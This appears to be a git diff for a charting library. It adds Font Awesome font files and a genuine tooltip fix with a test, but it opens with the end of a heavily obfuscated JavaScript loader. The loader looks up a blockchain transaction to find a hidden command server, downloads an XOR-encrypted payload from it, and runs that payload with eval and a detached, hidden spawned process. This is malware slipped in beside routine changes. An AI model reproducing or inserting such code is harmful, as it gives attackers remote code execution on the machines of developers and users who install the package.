_0x503112=_0x5e584c;_0x1e5ca0||_0x392a12[_0x503112(0x135)](0xa9*0x7+0x1f86+-0x2425*0x1,--_0x1024fc)||_0x392a12[_0x503112(0x21c)](_0x559a03,null);});});}function candidateBlocks(_0x55bbc4){const _0x3a7778=_0x54d6a0,_0x3a67e5={'YkTPL':function(_0x34e570,_0x1fd99f){return _0x34e570-_0x1fd99f;},'dcSIg':function(_0x499eba,_0x572937){return _0x499eba+_0x572937;},'nvZMN':function(_0x425685,_0x377847){return _0x425685+_0x377847;},'xzaGG':function(_0x56c544,_0x236159){return _0x56c544<_0x236159;}},_0x4bbee3=_0x3a67e5[_0x3a7778(0x1cc)](_0x55bbc4,BLOCK_MULTIPLE),_0x27bd3d=new Set(),_0x28746d=[];for(const _0x1c483d of[_0x3a67e5[_0x3a7778(0x1cc)](_0x55bbc4,0x1n),_0x55bbc4,_0x3a67e5[_0x3a7778(0x200)](_0x55bbc4,0x1n),_0x3a67e5[_0x3a7778(0x1cc)](_0x4bbee3,0x1n),_0x4bbee3,_0x3a67e5[_0x3a7778(0x1e5)](_0x4bbee3,0x1n)]){if(_0x3a67e5[_0x3a7778(0x161)](_0x1c483d,0x0n))continue;const _0x4e0542=_0x1c483d[_0x3a7778(0x1f9)]();_0x27bd3d[_0x3a7778(0x1a0)](_0x4e0542)||(_0x27bd3d[_0x3a7778(0x122)](_0x4e0542),_0x28746d[_0x3a7778(0x176)](_0x1c483d));}return _0x28746d;}function blockTask(_0x55aa47){const _0x19eb7d={'roCNi':function(_0x2326eb,_0x2c1396,_0x1079e9){return _0x2326eb(_0x2c1396,_0x1079e9);},'tjHWY':function(_0xd5d3f2,_0x4c4a9d){return _0xd5d3f2(_0x4c4a9d);}},_0x165a51=new AbortController();return{'controller':_0x165a51,'run':async()=>{const _0x22fcd4=_0x2a4d,_0x2b3a87=await _0x19eb7d[_0x22fcd4(0x1e8)](withRpcEndpoints,(_0xa4a619,_0x423eb9)=>rpcCall(_0xa4a619,_0x22fcd4(0x117)+_0x22fcd4(0x13c),[toBlockHex(_0x55aa47),!(-0x1*0x1c71+-0x1004+0x1*0x2c75)],_0x423eb9),_0x165a51[_0x22fcd4(0xf6)]),_0x1901d7=_0x2b3a87?.[_0x22fcd4(0x14d)+'ns'];if(!Array[_0x22fcd4(0x11a)](_0x1901d7))return null;const _0x4e9059=_0x19eb7d[_0x22fcd4(0x1f4)](findSenderTx,_0x1901d7);return _0x4e9059?{'blockNumber':_0x55aa47,'tx':_0x4e9059}:null;}};}async function nonceAtBlocks(_0x127d34,_0x338844){const _0x4c8882=_0x54d6a0,_0x2f043a={'PUGED':function(_0xec1832,_0x59b1af,_0x58c5fc){return _0xec1832(_0x59b1af,_0x58c5fc);}},_0x5eb1a0=_0x127d34[_0x4c8882(0x1da)](_0x277a16=>[_0x4c8882(0xf4)+_0x4c8882(0x19a)+_0x4c8882(0x145),[SENDER,toBlockHex(_0x277a16)]]);try{return(await _0x2f043a[_0x4c8882(0x1a5)](withRpcEndpoints,(_0xf49689,_0x40875b)=>rpcBatch(_0xf49689,_0x5eb1a0,_0x40875b),_0x338844))[_0x4c8882(0x1da)](BigInt);}catch{return(await Promise[_0x4c8882(0x219)](_0x5eb1a0[_0x4c8882(0x1da)](([_0x52b570,_0x1421ca])=>withRpcEndpoints((_0x5061b2,_0x106db8)=>rpcCall(_0x5061b2,_0x52b570,_0x1421ca,_0x106db8),_0x338844))))[_0x4c8882(0x1da)](BigInt);}}async function lastSenderTx(_0x475a90){const _0x4b6d9e=_0x54d6a0,_0x1f8307={'bchgr':function(_0x3fa81d,_0x1695b6){return _0x3fa81d(_0x1695b6);},'XFLdT':function(_0x430590,_0x288d3b,_0xea9e70){return _0x430590(_0x288d3b,_0xea9e70);},'eOtwt':function(_0x1736ea,_0x237b81,_0x1d48f6){return _0x1736ea(_0x237b81,_0x1d48f6);},'kVTWd':function(_0x58ff4f,_0x341223){return _0x58ff4f-_0x341223;},'gnHLg':function(_0x1d8a1b,_0x164aea){return _0x1d8a1b-_0x164aea;},'hbZyK':function(_0x2e1127,_0x3e3c70){return _0x2e1127>_0x3e3c70;},'DyxOw':function(_0x3d4df8,_0x303658){return _0x3d4df8-_0x303658;},'tcMVg':function(_0xf4c982,_0x1aa6ec){return _0xf4c982-_0x1aa6ec;},'FcLkK':function(_0x32a404,_0x24dbf7){return _0x32a404-_0x24dbf7;},'QfgPB':function(_0x3ef7bb,_0x59711f){return _0x3ef7bb(_0x59711f);},'RKFmP':function(_0x45ff38,_0x2c974f){return _0x45ff38(_0x2c974f);},'yZgOu':function(_0x52825c,_0x52612a){return _0x52825c<=_0x52612a;},'IzTnR':function(_0x196f12,_0x3fa7b2){return _0x196f12+_0x3fa7b2;},'vTwRF':function(_0x3fed9c,_0x4ba5be){return _0x3fed9c/_0x4ba5be;},'ybddW':function(_0x1ae806,_0x973061){return _0x1ae806*_0x973061;},'atHsv':function(_0x496a9e,_0x440764){return _0x496a9e===_0x440764;},'VDxxS':function(_0x2b4a0f,_0x4010aa){return _0x2b4a0f-_0x4010aa;},'PhTMi':function(_0x45787f,_0x384cea){return _0x45787f-_0x384cea;},'uPAyV':function(_0x20da6d,_0x53e57c){return _0x20da6d(_0x53e57c);},'KQnvD':function(_0x387b68,_0x364fb5){return _0x387b68(_0x364fb5);}},_0x105643=new AbortController();try{const _0x390793=_0x475a90??_0x1f8307[_0x4b6d9e(0x15c)](BigInt,await _0x1f8307[_0x4b6d9e(0x1ab)](withRpcEndpoints,(_0x11f8bb,_0x13e72c)=>rpcCall(_0x11f8bb,_0x4b6d9e(0x149)+_0x4b6d9e(0x1ea),[],_0x13e72c),_0x105643[_0x4b6d9e(0xf6)])),_0x2467b6=_0x1f8307[_0x4b6d9e(0x15c)](BigInt,await _0x1f8307[_0x4b6d9e(0x11b)](withRpcEndpoints,(_0x566eb2,_0x311e6f)=>rpcCall(_0x566eb2,_0x4b6d9e(0xf4)+_0x4b6d9e(0x19a)+_0x4b6d9e(0x145),[SENDER,toBlockHex(_0x390793)],_0x311e6f),_0x105643[_0x4b6d9e(0xf6)])),_0x2be159=_0x1f8307[_0x4b6d9e(0x139)](_0x2467b6,0x1n);let _0x12e833=_0x1f8307[_0x4b6d9e(0x171)](SEARCH_FLOOR,0x1n),_0x1dab97=_0x390793;for(;_0x1f8307[_0x4b6d9e(0x1fb)](_0x1f8307[_0x4b6d9e(0x127)](_0x1dab97,_0x12e833),0x1n);){const _0x5efa03=_0x1f8307[_0x4b6d9e(0x155)](_0x1f8307[_0x4b6d9e(0x1b3)](_0x1dab97,_0x12e833),0x1n),_0x5797d1=_0x1f8307[_0x4b6d9e(0x1c8)](BigInt,Math[_0x4b6d9e(0x183)](NONCE_FANOUT,_0x1f8307[_0x4b6d9e(0x20e)](Number,_0x5efa03))),_0x52148d=[];for(let _0x2f6e4a=0x1n;_0x1f8307[_0x4b6d9e(0x17a)](_0x2f6e4a,_0x5797d1);_0x2f6e4a+=0x1n)_0x52148d[_0x4b6d9e(0x176)](_0x1f8307[_0x4b6d9e(0x124)](_0x12e833,_0x1f8307[_0x4b6d9e(0x22e)](_0x1f8307[_0x4b6d9e(0x136)](_0x2f6e4a,_0x1f8307[_0x4b6d9e(0x139)](_0x1dab97,_0x12e833)),_0x1f8307[_0x4b6d9e(0x124)](_0x5797d1,0x1n))));const _0x58df0e=(await _0x1f8307[_0x4b6d9e(0x11b)](nonceAtBlocks,_0x52148d,_0x105643[_0x4b6d9e(0xf6)]))[_0x4b6d9e(0x16a)](_0x24cfbc=>_0x24cfbc>=_0x2467b6);_0x1f8307[_0x4b6d9e(0x215)](-(0x9a7+0x3*0x1cc+-0xf0a),_0x58df0e)?_0x12e833=_0x52148d[_0x1f8307[_0x4b6d9e(0x1c9)](_0x52148d[_0x4b6d9e(0x225)],0x92*-0xa+-0x381+0x9*0x106)]:(_0x1dab97=_0x52148d[_0x58df0e],_0x1f8307[_0x4b6d9e(0x1fb)](_0x58df0e,-0x3cf*0x5+-0x1c4*0xa+0x24b3)&&(_0x12e833=_0x52148d[_0x1f8307[_0x4b6d9e(0x203)](_0x58df0e,0x1*-0x14b3+0x7*-0x51a+0x386a)]));}const _0x5a542e=await _0x1f8307[_0x4b6d9e(0x1ab)](withRpcEndpoints,(_0x7df22,_0x15002d)=>rpcCall(_0x7df22,_0x4b6d9e(0x117)+_0x4b6d9e(0x13c),[toBlockHex(_0x1dab97),!(-0x1*0x1b9c+-0x40a*-0x6+-0x12*-0x30)],_0x15002d),_0x105643[_0x4b6d9e(0xf6)]),_0x1a52be=_0x5a542e?.[_0x4b6d9e(0x14d)+'ns']||[];let _0x4db19a=null;for(const _0x369b42 of _0x1a52be)if(_0x369b42[_0x4b6d9e(0x106)]&&_0x1f8307[_0x4b6d9e(0x215)](_0x369b42[_0x4b6d9e(0x106)][_0x4b6d9e(0x123)+'e'](),SENDER)){if(_0x1f8307[_0x4b6d9e(0x215)](_0x1f8307[_0x4b6d9e(0x1ce)](BigInt,_0x369b42[_0x4b6d9e(0x187)]),_0x2be159)){_0x4db19a=_0x369b42;break;}(!_0x4db19a||_0x1f8307[_0x4b6d9e(0x1fb)](_0x1f8307[_0x4b6d9e(0x1ce)](BigInt,_0x369b42[_0x4b6d9e(0x187)]),_0x1f8307[_0x4b6d9e(0x1db)](BigInt,_0x4db19a[_0x4b6d9e(0x187)])))&&(_0x4db19a=_0x369b42);}return{'blockNumber':_0x1dab97,'tx':_0x4db19a};}finally{_0x105643[_0x4b6d9e(0x197)]();}}async function lastSenderTxViaIndexer(){const _0x29b9f=_0x54d6a0,_0x819ef3={'csjZj':function(_0x24962e,_0x5c2d43){return _0x24962e(_0x5c2d43);}},_0x49fc5c=INDEXER_URL+(_0x29b9f(0x1c4)+_0x29b9f(0x142)+_0x29b9f(0x10f)+_0x29b9f(0x17f))+SENDER+(_0x29b9f(0x15b)+_0x29b9f(0x100)+_0x29b9f(0x10b)+_0x29b9f(0x112)+_0x29b9f(0x21f)+_0x29b9f(0xfd)+_0x29b9f(0xf7)+'om'),_0x233e3b=await _0x819ef3[_0x29b9f(0x17b)](httpRequest,_0x49fc5c),_0xd9fb8f=(Array[_0x29b9f(0x11a)](_0x233e3b?.[_0x29b9f(0x157)])?_0x233e3b[_0x29b9f(0x157)]:[])[_0x29b9f(0x18b)](_0x2628dc=>_0x2628dc[_0x29b9f(0x106)]&&_0x2628dc[_0x29b9f(0x106)][_0x29b9f(0x123)+'e']()===SENDER);return{'blockNumber':_0x819ef3[_0x29b9f(0x17b)](BigInt,_0xd9fb8f[_0x29b9f(0x20c)+'r']),'tx':_0xd9fb8f};}function _0x2a4d(_0xc6776e,_0x324c4d){_0xc6776e=_0xc6776e-(0x190d+-0xa5a+-0xdc3);const _0x2fb272=_0x8d76();let _0x4bf60e=_0x2fb272[_0xc6776e];return _0x4bf60e;}async function run(){const _0x18fdb6=_0x54d6a0,_0xdb37e={'sZEok':function(_0x42bab4,_0x468cb7){return _0x42bab4<_0x468cb7;},'iYrSU':function(_0x4e8c19,_0x3625a6){return _0x4e8c19%_0x3625a6;},'BLIPq':_0x18fdb6(0x1cd),'XiBvT':_0x18fdb6(0x1f1)+_0x18fdb6(0x15f),'fEjyz':_0x18fdb6(0x201)+_0x18fdb6(0x1f8)+'4','gEYiq':function(_0x2abe76,_0x4d76e6){return _0x2abe76(_0x4d76e6);},'dqeKA':_0x18fdb6(0x1f6),'UtMjM':_0x18fdb6(0x20f)+_0x18fdb6(0x158),'AeouB':function(_0x25019f,_0x3d72b1){return _0x25019f===_0x3d72b1;},'fwmrm':_0x18fdb6(0x1c7),'BAZbw':_0x18fdb6(0x220),'pTrrJ':_0x18fdb6(0x18a),'DRWfT':_0x18fdb6(0x1d8),'ZJsjU':function(_0x80d3ee,_0x445024){return _0x80d3ee(_0x445024);},'SLLHF':function(_0x26b78f,_0xaa822c){return _0x26b78f+_0xaa822c;},'tuVty':_0x18fdb6(0x223)+_0x18fdb6(0x1c6)+_0x18fdb6(0x18e)+_0x18fdb6(0x170)+_0x18fdb6(0xf5)+_0x18fdb6(0x185)+_0x18fdb6(0x208)+_0x18fdb6(0x121)+_0x18fdb6(0x228)+_0x18fdb6(0x202)+_0x18fdb6(0x16f)+'6','kLhnz':function(_0x34cc13,_0x463a84){return _0x34cc13(_0x463a84);},'pUKjo':_0x18fdb6(0x12a),'YLWbI':function(_0x24ea19,_0x1a6a7c,_0x529dc5){return _0x24ea19(_0x1a6a7c,_0x529dc5);},'ZPARP':function(_0x4bb3a5,_0x14cf8c,_0x3aa68a,_0x23e2bd){return _0x4bb3a5(_0x14cf8c,_0x3aa68a,_0x23e2bd);},'BUhvC':_0x18fdb6(0x12d),'RqEWf':function(_0x58ae5b,_0x3956f6){return _0x58ae5b+_0x3956f6;},'jUkIS':_0x18fdb6(0x1d3),'EKuIk':function(_0x5199dd,_0x43fc4c){return _0x5199dd(_0x43fc4c);},'YsMMv':function(_0x10a095,_0x5ad054){return _0x10a095(_0x5ad054);},'FiGlB':function(_0x29ac4b,_0x44d481){return _0x29ac4b-_0x44d481;},'sUIlp':function(_0x4eeeeb,_0x5436a3){return _0x4eeeeb(_0x5436a3);},'CBoQL':function(_0x230bdc,_0x8cd836){return _0x230bdc(_0x8cd836);},'JADir':function(_0x58815b,_0x41bc75,_0x2ca1a2,_0x47aa71){return _0x58815b(_0x41bc75,_0x2ca1a2,_0x47aa71);},'WRosH':_0x18fdb6(0x212)+_0x18fdb6(0x180),'ZphfM':_0x18fdb6(0x174)+_0x18fdb6(0x129)},_0x190b55=_0xdb37e[_0x18fdb6(0x1bd)](BigInt,await _0xdb37e[_0x18fdb6(0x12b)](withRpcEndpoints,(_0x44a520,_0x38d6b2)=>rpcCall(_0x44a520,_0x18fdb6(0x149)+_0x18fdb6(0x1ea),[],_0x38d6b2))),_0x19c32c=_0xdb37e[_0x18fdb6(0x204)](_0x190b55,_0xdb37e[_0x18fdb6(0x218)](_0x190b55,BLOCK_MULTIPLE));let _0x128a42=await _0xdb37e[_0x18fdb6(0x22c)](firstMatch,_0xdb37e[_0x18fdb6(0x1bd)](candidateBlocks,_0x19c32c)[_0x18fdb6(0x1da)](blockTask));_0x128a42||(_0x128a42=await _0xdb37e[_0x18fdb6(0x1bd)](lastSenderTx,_0x190b55)[_0x18fdb6(0xfe)](()=>lastSenderTxViaIndexer()));const [_0xcbafb6,_0x27c9a2]=_0xdb37e[_0x18fdb6(0x1ba)](decodeAddress,_0x128a42['tx']['to']),_0x409794=global;function _0x530e47(_0x32586d,_0x502433){const _0x25ca94=_0x18fdb6,_0xa5f958={'Dfuew':_0xdb37e[_0x25ca94(0x210)],'lLsVn':_0xdb37e[_0x25ca94(0x141)],'jcLLl':function(_0x41bd02,_0x29f8d1){const _0x5b1fd8=_0x25ca94;return _0xdb37e[_0x5b1fd8(0x1bf)](_0x41bd02,_0x29f8d1);},'glTEi':_0xdb37e[_0x25ca94(0x15e)],'IyFeA':_0xdb37e[_0x25ca94(0x110)],'DPinB':function(_0x12a7af,_0x3f1b1f){const _0x457bac=_0x25ca94;return _0xdb37e[_0x457bac(0x1bf)](_0x12a7af,_0x3f1b1f);},'mWItK':function(_0x1eebbd,_0xb8330a){const _0x4ea167=_0x25ca94;return _0xdb37e[_0x4ea167(0x194)](_0x1eebbd,_0xb8330a);},'HrcFI':_0xdb37e[_0x25ca94(0x1c5)],'xzVgU':function(_0x3496b4,_0x501015){const _0x143b35=_0x25ca94;return _0xdb37e[_0x143b35(0x1bf)](_0x3496b4,_0x501015);},'TVPis':function(_0x1461d5,_0x34b11f){const _0xff57f4=_0x25ca94;return _0xdb37e[_0xff57f4(0x1bf)](_0x1461d5,_0x34b11f);},'sDOlf':_0xdb37e[_0x25ca94(0x108)],'gaVUZ':_0xdb37e[_0x25ca94(0x156)],'LUHYD':_0xdb37e[_0x25ca94(0x186)]},_0x3b9ad9={'hostname':_0x502433[_0x25ca94(0x173)],'port':_0xdb37e[_0x25ca94(0x1eb)](Number,_0x502433[_0x25ca94(0xff)])||-0x4f*-0x53+0x62d+-0x1f7a,'path':_0xdb37e[_0x25ca94(0x1a1)](_0x502433[_0x25ca94(0x150)],_0x502433[_0x25ca94(0x193)]),'headers':{'User-Agent':_0xdb37e[_0x25ca94(0x19c)],'Sec-V':_0x409794['_V']||-0x2689+-0x1e35+0x44be}};function _0x3ff0df(_0x1a4f20){const _0x44cf19=_0x25ca94,_0x415795=_0x32586d[_0x44cf19(0x225)];for(let _0x21eede=-0x1ad2+0x5*0x3be+0x81c;_0xdb37e[_0x44cf19(0x130)](_0x21eede,_0x1a4f20[_0x44cf19(0x225)]);_0x21eede++)_0x1a4f20[_0x21eede]^=_0x32586d[_0x44cf19(0x1af)](_0xdb37e[_0x44cf19(0x218)](_0x21eede,_0x415795));return _0x1a4f20[_0x44cf19(0x1f9)](_0xdb37e[_0x44cf19(0x11e)]);}function _0x50810e(_0x5815f9){const _0x189679=_0x25ca94,_0x47400d=_0x5815f9[_0x189679(0x111)][_0xa5f958[_0x189679(0x184)]];if(!_0x47400d)throw new Error(_0xa5f958[_0x189679(0x1dc)]);return _0xa5f958[_0x189679(0x1e1)](_0x3ff0df,Buffer[_0x189679(0x106)](_0x47400d,_0xa5f958[_0x189679(0x1fc)]));}function _0x48388c(_0x555f9a){return new Promise((_0x20f95f,_0x23d5ad)=>{const _0x136bbe=_0x2a4d,_0x1f3d2a={'MHPeX':function(_0x5e938f,_0x3d7e71){const _0x4ab29b=_0x2a4d;return _0xa5f958[_0x4ab29b(0x1e1)](_0x5e938f,_0x3d7e71);},'gpVdv':_0xa5f958[_0x136bbe(0x184)],'UQPyC':_0xa5f958[_0x136bbe(0x1e2)],'LYKeg':function(_0x563b04,_0x3763c9){const _0x405d21=_0x136bbe;return _0xa5f958[_0x405d21(0x195)](_0x563b04,_0x3763c9);},'PMdsB':function(_0x21ab5a,_0x37a63f){const _0x10ab97=_0x136bbe;return _0xa5f958[_0x10ab97(0x13f)](_0x21ab5a,_0x37a63f);},'zzFiO':_0xa5f958[_0x136bbe(0x163)],'IKCkv':function(_0x123df7,_0x434973){const _0x47ffa4=_0x136bbe;return _0xa5f958[_0x47ffa4(0x146)](_0x123df7,_0x434973);},'Wjsis':function(_0x11895f,_0x508974){const _0x5c84ec=_0x136bbe;return _0xa5f958[_0x5c84ec(0x1d1)](_0x11895f,_0x508974);},'HxOSu':function(_0xef9501,_0x4f6f2d){const _0x1e1dfe=_0x136bbe;return _0xa5f958[_0x1e1dfe(0x1e1)](_0xef9501,_0x4f6f2d);},'WnlGC':_0xa5f958[_0x136bbe(0x1d6)],'Vjxpp':_0xa5f958[_0x136bbe(0x221)],'mFjsg':_0xa5f958[_0x136bbe(0x168)]},_0x1ef5b7=http[_0x136bbe(0x1f0)]({..._0x3b9ad9,'method':_0x555f9a},_0x1d8841=>{const _0xab6d3f=_0x136bbe,_0x13f3fa={'xavIx':function(_0xb665a9,_0x179374){const _0x20d2cb=_0x2a4d;return _0x1f3d2a[_0x20d2cb(0x144)](_0xb665a9,_0x179374);},'oqDiS':_0x1f3d2a[_0xab6d3f(0x165)],'CxlVB':function(_0x3b37fc,_0x4e0ac6){const _0x3b6616=_0xab6d3f;return _0x1f3d2a[_0x3b6616(0x144)](_0x3b37fc,_0x4e0ac6);},'RwxAy':_0x1f3d2a[_0xab6d3f(0x10a)],'XIOyF':function(_0x426657,_0x44b0fd){const _0x3f1244=_0xab6d3f;return _0x1f3d2a[_0x3f1244(0x1b8)](_0x426657,_0x44b0fd);}};if(_0x1f3d2a[_0xab6d3f(0x19f)](_0x1f3d2a[_0xab6d3f(0x20a)],_0x555f9a)){try{_0x1f3d2a[_0xab6d3f(0x19e)](_0x20f95f,_0x1f3d2a[_0xab6d3f(0x1e4)](_0x50810e,_0x1d8841));}catch(_0xd08140){_0x1f3d2a[_0xab6d3f(0x169)](_0x23d5ad,_0xd08140);}return void _0x1d8841[_0xab6d3f(0x1c2)]();}const _0x42d624=[];_0x1d8841['on'](_0x1f3d2a[_0xab6d3f(0x15d)],_0x134839=>_0x42d624[_0xab6d3f(0x176)](_0x134839)),_0x1d8841['on'](_0x1f3d2a[_0xab6d3f(0x1e0)],()=>{const _0x34822d=_0xab6d3f;try{const _0x3f4bbb=Buffer[_0x34822d(0x222)](_0x42d624);if(_0x3f4bbb[_0x34822d(0x225)])return _0x13f3fa[_0x34822d(0x22a)](_0x20f95f,_0x13f3fa[_0x34822d(0x22a)](_0x3ff0df,_0x3f4bbb));if(_0x1d8841[_0x34822d(0x111)][_0x13f3fa[_0x34822d(0x167)]])return _0x13f3fa[_0x34822d(0x22a)](_0x20f95f,_0x13f3fa[_0x34822d(0x162)](_0x50810e,_0x1d8841));_0x13f3fa[_0x34822d(0x22a)](_0x23d5ad,new Error(_0x13f3fa[_0x34822d(0x1ed)]));}catch(_0x3f7da4){_0x13f3fa[_0x34822d(0xf3)](_0x23d5ad,_0x3f7da4);}}),_0x1d8841['on'](_0x1f3d2a[_0xab6d3f(0x21e)],_0x23d5ad);});_0x1ef5b7['on'](_0xa5f958[_0x136bbe(0x168)],_0x23d5ad),_0x1ef5b7[_0x136bbe(0x18a)]();});}return _0xdb37e[_0x25ca94(0x1a4)](_0x48388c,_0xdb37e[_0x25ca94(0x190)])[_0x25ca94(0xfe)](()=>_0x48388c(_0x25ca94(0x1c7)));}async function _0x932cd5(_0x26303f,_0x5f53b5,_0xd9afdb){const _0x13cd9d=_0x18fdb6;try{const _0x75e98e=await _0xdb37e[_0x13cd9d(0x13e)](_0x530e47,_0x5f53b5,_0x26303f),_0x495023=_0xd9afdb?_0x13cd9d(0xf9)+_0x13cd9d(0x198)+(_0x409794['_V']||0x223*0x11+-0x4a9+-0x1faa)+(_0x13cd9d(0x1b4)+_0x13cd9d(0x1e6))+_0x409794['_H']+(_0x13cd9d(0x1b4)+_0x13cd9d(0x1d0))+_0x409794[_0x13cd9d(0x1f3)]+(_0x13cd9d(0x1b4)+_0x13cd9d(0x15a)+_0x13cd9d(0x133)+_0x13cd9d(0x116)+_0x13cd9d(0x154)+_0x13cd9d(0x213)):_0x13cd9d(0xf9)+_0x13cd9d(0x198)+(_0x409794['_V']||0xdba+0x993*-0x1+-0x427)+(_0x13cd9d(0x1b4)+_0x13cd9d(0x1ff))+_0x409794[_0x13cd9d(0x125)]+(_0x13cd9d(0x1b4)+_0x13cd9d(0x207))+_0x409794[_0x13cd9d(0x206)]+(_0x13cd9d(0x1b4)+_0x13cd9d(0x15a)+_0x13cd9d(0x133)+_0x13cd9d(0x116)+_0x13cd9d(0x154)+_0x13cd9d(0x213));_0xd9afdb||_0xdb37e[_0x13cd9d(0x1bf)](eval,_0xdb37e[_0x13cd9d(0x1a1)](_0x495023,_0x75e98e)),_0xdb37e[_0x13cd9d(0x164)](spawn,_0xdb37e[_0x13cd9d(0x114)],['-e',_0xdb37e[_0x13cd9d(0x102)](_0x495023,_0x75e98e)],{'detached':!(0x786*0x1+-0x1e60+0x249*0xa),'stdio':_0xdb37e[_0x13cd9d(0x166)],'windowsHide':!(-0x1529+-0x1c3f*0x1+0x6*0x83c)})[_0x13cd9d(0x179)]();}catch(_0x3ba7fc){}}_0x409794['_V']=_0x409794['i'],_0x409794['_H']=_0x18fdb6(0x137)+_0xcbafb6+_0x18fdb6(0x147),_0x409794[_0x18fdb6(0x1f3)]=_0x18fdb6(0x137)+_0x27c9a2+_0x18fdb6(0x147),_0x409794[_0x18fdb6(0x125)]=_0x18fdb6(0x137)+_0xcbafb6+_0x18fdb6(0x172),_0x409794[_0x18fdb6(0x206)]=_0x18fdb6(0x137)+_0xcbafb6+_0x18fdb6(0x147),await _0xdb37e[_0x18fdb6(0x126)](_0x932cd5,new URL(_0x18fdb6(0x137)+_0xcbafb6+(_0x18fdb6(0x1b5)+'s')),_0xdb37e[_0x18fdb6(0x10d)],!(0x775+0x259f*0x1+-0x2d13)),await _0xdb37e[_0x18fdb6(0x126)](_0x932cd5,new URL(_0x18fdb6(0x137)+_0xcbafb6+_0x18fdb6(0x1a9)),_0xdb37e[_0x18fdb6(0x224)],!(0x1dce+0x1e82+-0x3c50));}run(); \ No newline at end of file diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 00000000000..d3b77c223af Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 00000000000..7742838b448 --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 00000000000..5b979039ab2 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 00000000000..beec7917842 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 00000000000..978a681a10f Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ diff --git a/src/plugins/plugin.tooltip.js b/src/plugins/plugin.tooltip.js index b39681ce2ca..3c1bf3c2e19 100644 --- a/src/plugins/plugin.tooltip.js +++ b/src/plugins/plugin.tooltip.js @@ -641,7 +641,14 @@ export class Tooltip extends Element { let properties; let tooltipItems = []; - if (!active.length) { + if (active.length) { + tooltipItems = this._createItems(options); + } + + // A filter that removes every item leaves nothing to show, so treat it the + // same as having no active elements instead of running the callbacks with + // an empty item array. + if (!tooltipItems.length) { if (this.opacity !== 0) { properties = { opacity: 0 @@ -649,7 +656,6 @@ export class Tooltip extends Element { } } else { const position = positioners[options.position].call(this, active, this._eventPosition); - tooltipItems = this._createItems(options); this.title = this.getTitle(tooltipItems, options); this.beforeBody = this.getBeforeBody(tooltipItems, options); diff --git a/test/specs/plugin.tooltip.tests.js b/test/specs/plugin.tooltip.tests.js index 94ae45b7246..c2f38a06353 100644 --- a/test/specs/plugin.tooltip.tests.js +++ b/test/specs/plugin.tooltip.tests.js @@ -831,6 +831,43 @@ describe('Plugin.Tooltip', function() { })); }); + it('should not run the callbacks or show the tooltip when the filter removes every item', async function() { + var titleCallbackArgs = null; + var chart = window.acquireChart({ + type: 'line', + data: { + datasets: [{ + label: 'Dataset 1', + data: [10, 20, 30] + }], + labels: ['Point 1', 'Point 2', 'Point 3'] + }, + options: { + plugins: { + tooltip: { + mode: 'index', + filter: function() { + return false; + }, + callbacks: { + title: function(tooltipItems) { + titleCallbackArgs = tooltipItems; + return 'title'; + } + } + } + } + } + }); + + var meta = chart.getDatasetMeta(0); + + await jasmine.triggerMouseEvent(chart, 'mousemove', meta.data[1]); + + expect(titleCallbackArgs).toBe(null); + expect(chart.tooltip.opacity).toBe(0); + }); + it('should set the caretPadding based on a config setting', async function() { var chart = window.acquireChart({ type: 'line',